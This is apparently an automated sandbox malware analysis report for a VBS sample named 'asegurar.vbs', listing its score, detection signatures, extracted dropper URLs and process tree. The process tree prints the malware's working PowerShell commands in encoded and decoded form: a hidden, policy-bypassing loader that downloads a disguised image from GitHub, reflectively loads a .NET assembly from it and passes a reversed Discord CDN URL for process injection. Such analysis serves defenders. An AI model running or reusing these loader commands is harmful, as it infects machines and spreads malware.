Overview

overview

10

Static

static

1

asegurar.vbs

windows7-x64

10

asegurar.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    139s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2024, 04:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    asegurar.vbs
  • Size 191KB
  • Sample241015-e5yzcavelh
  • SHA256 4f1460476798ca3fe73354c7cc33dc72c8ebbbd7b557267f69ea4d99b8d6fb90
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20
  • exe.dropper

    https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegurar.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRwc2hvbWVbNF0rJFBTSG9tRVszMF0rJ1gnKSggKCgnezB9aW1hZ2VVcmwgPSB7MX1odHQnKydwczovL3Jhdy5naXRoJysndWJ1Jysnc2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvJysnWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgezF9O3swfXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQnKyc7ezB9aW1hJysnZ2VCeXRlcyA9IHswfXdlYkNsaWVudC5Eb3dubG9hZERhdGEoezB9aW1hZ2VVcicrJ2wpO3swfWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dCcrJy5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHswfWltYWdlQnl0ZXMpO3swfXN0YXJ0RmxhZyA9IHsxfTw8QkFTRTY0X1NUQVJUPj57MScrJ307ezB9JysnZW5kRmxhZyA9IHsxfTw8QkFTRTY0X0VORD4+ezF9O3swfXN0YXJ0SW5kZXggPSB7MH1pbWFnZVRleHQuSScrJ25kZXhPZih7MH1zdGFydEZsYWcpO3swfWVuZEluZGV4ID0geycrJzB9aW1hZ2VUZXh0LkluZGV4T2YoezB9ZW5kRmxhZyk7ezB9c3RhcnRJbmQnKydleCAtZ2UgMCAtYW5kIHswfWVuZCcrJ0luZGV4IC1ndCB7MH1zdGFydEluZGV4O3swfXN0YXJ0SW5kZXggKz0gezB9c3RhcnRGbGFnLkxlbmd0aDt7MH1iYXNlNjRMZW5ndGggPSB7MH1lbmRJbmRleCAtIHswfXN0YXJ0SW5kZXg7ezB9YmFzZTY0Q29tbWFuZCA9IHswfWltYWdlVGV4dC5TdWJzdHJpJysnbmcoezB9c3RhcnRJbmQnKydleCwgezB9JysnYmFzZTY0TGVuZ3RoKTt7MH1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHswfWJhc2U2NENvbW1hbmQpO3swfWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCh7MH1jb21tYW5kQnl0ZXMpO3swfXZhaU0nKydldGhvZCA9IFtkbmxpYi5JTy4nKydIb21lXS5HZXRNZXRob2QoezF9VkFJezF9KTt7MH12YWlNZXRob2QuSW52b2tlKHswfW51bGwsIEAoezF9JjRkZCcrJzQ2MDJmMzdmYmY4OTU2Nzk4YWMwMWNkMzM0ZWQ2YjU2NDc1MDFkOGZjZGJmMmJjMzRmNjVhYTFiYzg3YWY9bWgmZmIyOTgwNzY9c2kmZjM0ZTkwNzY9eGU/dHh0LicrJzJZUk5JLzY1MDEwMTc3MjMwNzY4NTM5MjEnKycvODI5OTI0NDI5Mzc5NzI4NjkxMS9zdG5lbWhjYXR0YS9tb2MucHBhZHJvY3NpZC5uZGMvLzpzcHR0aHsxfSwgezF9ZGVzYXRpdmFkb3sxfSwgezF9JysnZGVzYXRpdmFkb3sxfSwgezF9ZGVzYXRpdmFkJysnb3sxfSwgezF9QWRkSW5Qcm9jZXNzMzJ7MX0sIHsxfWRlc2F0aXZhZG97MX0sIHsxfWRlc2F0aXZhZG97MX0pKTsnKSAtRiAgW2NIQXJdMzYsW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $pshome[4]+$PSHomE[30]+'X')( (('{0}imageUrl = {1}htt'+'ps://raw.gith'+'ubu'+'sercontent.com/CryptersAndToolsOficial/'+'ZIP/refs/heads/main/DetahNote_V.jpg {1};{0}webClient = New-Object System.Net.WebClient'+';{0}ima'+'geBytes = {0}webClient.DownloadData({0}imageUr'+'l);{0}imageText = [System.Text'+'.Encoding]::UTF8.GetString({0}imageBytes);{0}startFlag = {1}<<BASE64_START>>{1'+'};{0}'+'endFlag = {1}<<BASE64_END>>{1};{0}startIndex = {0}imageText.I'+'ndexOf({0}startFlag);{0}endIndex = {'+'0}imageText.IndexOf({0}endFlag);{0}startInd'+'ex -ge 0 -and {0}end'+'Index -gt {0}startIndex;{0}startIndex += {0}startFlag.Length;{0}base64Length = {0}endIndex - {0}startIndex;{0}base64Command = {0}imageText.Substri'+'ng({0}startInd'+'ex, {0}'+'base64Length);{0}commandBytes = [System.Convert]::FromBase64String({0}base64Command);{0}loadedAssembly = [System.Reflection.Assembly]::Load({0}commandBytes);{0}vaiM'+'ethod = [dnlib.IO.'+'Home].GetMethod({1}VAI{1});{0}vaiMethod.Invoke({0}null, @({1}&4dd'+'4602f37fbf8956798ac01cd334ed6b5647501d8fcdbf2bc34f65aa1bc87af=mh&fb298076=si&f34e9076=xe?txt.'+'2YRNI/6501017723076853921'+'/8299244293797286911/stnemhcatta/moc.ppadrocsid.ndc//:sptth{1}, {1}desativado{1}, {1}'+'desativado{1}, {1}desativad'+'o{1}, {1}AddInProcess32{1}, {1}desativado{1}, {1}desativado{1}));') -F [cHAr]36,[cHAr]39))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4592

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
        • MD5 SHA1 SHA512
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
        • MD5 SHA1 SHA512
        Submit Download

        __PSScriptPolicyTest_nptghqbn.bvp.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nptghqbn.bvp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512
        Submit Download

        memory/4592-22-0x00000208A7CA0000-0x00000208A80E8000-memory.dmp
        Download

        memory/4824-0-0x00007FFEAEB93000-0x00007FFEAEB95000-memory.dmp
        Download

        memory/4824-10-0x000002EFB5880000-0x000002EFB58A2000-memory.dmp
        Download

        memory/4824-11-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp
        Download

        memory/4824-12-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp
        Download

        memory/4824-28-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp
        Download